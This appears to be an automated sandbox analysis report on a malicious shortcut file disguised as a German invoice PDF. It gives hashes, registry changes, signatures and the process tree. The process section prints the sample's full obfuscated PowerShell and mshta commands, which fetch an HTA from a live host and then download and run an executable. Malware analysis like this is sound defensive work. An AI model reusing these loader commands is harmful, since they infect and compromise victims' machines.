Overview
overview
10Static
static
1Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Analysis
-
max time kernel
35s -
max time network
130s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
14/11/2024, 20:00
Static task
static1
Behavioral task
behavioral1
Sample
Rechnung_2024_0091.pdf.lnk
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
Rechnung_2024_0091.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Rechnung_2024_0092.pdf.lnk
Resource
win7-20241023-en
Behavioral task
behavioral4
Sample
Rechnung_2024_0092.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
Rechnung_2024_0093.pdf.lnk
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
Rechnung_2024_0093.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
Rechnung_2024_0094.pdf.lnk
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Rechnung_2024_0094.pdf.lnk
Resource
win10v2004-20241007-en
General
-
Target
Rechnung_2024_0091.pdf.lnk
-
Size
3KB
-
MD5
001c1231f099ae2188df58798c2c32cf
-
SHA1
6e8394a04aa35551437d91910c787bf2165c175b
-
SHA256
0d6049a23bc24a385997c0514ffc22a9c0c9ba681d1cac2f6cb5013bafeefe4f
-
SHA512
b46b0ed51706e68a7b2e1d3609caaa2bc45676cb876c9ca72c51d9e34d2e5821dba256378950b3dc678d44c0cbfe14a6f599c66fb6843a34c76f7e258959e2c9
Malware Config
Extracted
https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 4 2312 mshta.exe 7 2312 mshta.exe 9 1996 powershell.exe -
Downloads MZ/PE file
-
pid Process 1996 powershell.exe 1996 powershell.exe 2856 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 mshta.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 mshta.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2856 powershell.exe 1996 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2856 powershell.exe Token: SeDebugPrivilege 1996 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2324 wrote to memory of 2856 2324 cmd.exe 30 PID 2324 wrote to memory of 2856 2324 cmd.exe 30 PID 2324 wrote to memory of 2856 2324 cmd.exe 30 PID 2856 wrote to memory of 2312 2856 powershell.exe 31 PID 2856 wrote to memory of 2312 2856 powershell.exe 31 PID 2856 wrote to memory of 2312 2856 powershell.exe 31 PID 2312 wrote to memory of 1996 2312 mshta.exe 32 PID 2312 wrote to memory of 1996 2312 mshta.exe 32 PID 2312 wrote to memory of 1996 2312 mshta.exe 32
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Rechnung_2024_0091.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2324 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $a='48aAs.69edS3b/:15u2vtmrpL0-7h'; &(-join($a[(-648+652),(169-167),(990-966)])) ^[ (-join($a[(-648+652),(169-167),(990-966)])); ^[ /# (-join($a[(-476+497),(-648+652),(-158+186),(-824+844),(169-167)])); foreach($z in @((-105+133),(-426+446),(575-555),(173-150),(-217+221),(-509+523),(524-511),(711-698),(210-187),(-471+488),(-724+736),(-668+694),(-606+622),(-351+363),(906-899),(-719+737),(899-881),(166-155),(387-375),(-188+203),(-604+616),(783-776),(-378+386),(775-748),(660-660),(995-993),(803-776),(-863+888),(-920+932),(333-325),(994-976),(559-541),(700-698),(835-810),(-958+959),(425-410),(-411+417),(686-684),(-963+964),(569-557),(934-907),(861-853),(-724+726),(950-941),(494-489),(-470+492),(-789+807),(805-800),(-232+241),(-603+611),(1008-989),(-242+255),(-653+668),(-705+723),(580-569),(-536+541),(986-958),(736-716),(-368+370))){$m+=$a[$z]}; /# $m;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta3⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hQzEzFacg($guorUJ, $OIoEigYq){[IO.File]::WriteAllBytes($guorUJ, $OIoEigYq)};function uuuOHRemK($guorUJ){if($guorUJ.EndsWith((ijnaJnaV @(5036,5090,5098,5098))) -eq $True){Start-Process (ijnaJnaV @(5104,5107,5100,5090,5098,5098,5041,5040,5036,5091,5110,5091)) $guorUJ}else{Start-Process $guorUJ}};function xlptFHdqR($FSYzd){$EBqZdo = New-Object (ijnaJnaV @(5068,5091,5106,5036,5077,5091,5088,5057,5098,5095,5091,5100,5106));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OIoEigYq = $EBqZdo.DownloadData($FSYzd);return $OIoEigYq};function ijnaJnaV($UxikGUX){$MKUYRJP=4990;$VRwScE=$Null;foreach($NymBWJi in $UxikGUX){$VRwScE+=[char]($NymBWJi-$MKUYRJP)};return $VRwScE};function TQiKbyGz(){$vXhNEzkB = $env:APPDATA + '\';$WRrNymqB = xlptFHdqR (ijnaJnaV @(5094,5106,5106,5102,5105,5048,5037,5037,5102,5107,5088,5035,5043,5088,5047,5040,5040,5041,5088,5039,5088,5047,5091,5045,5042,5087,5045,5038,5088,5091,5040,5040,5087,5038,5046,5039,5044,5087,5046,5088,5045,5091,5087,5090,5036,5104,5040,5036,5090,5091,5108,5037,5059,5078,5056,5072,5072,5076,5071,5074,5036,5091,5110,5091));$AvKehPB = $vXhNEzkB + 'EXBRRVQT.exe';hQzEzFacg $AvKehPB $WRrNymqB;uuuOHRemK $AvKehPB;;;;}TQiKbyGz;4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996
-
-
-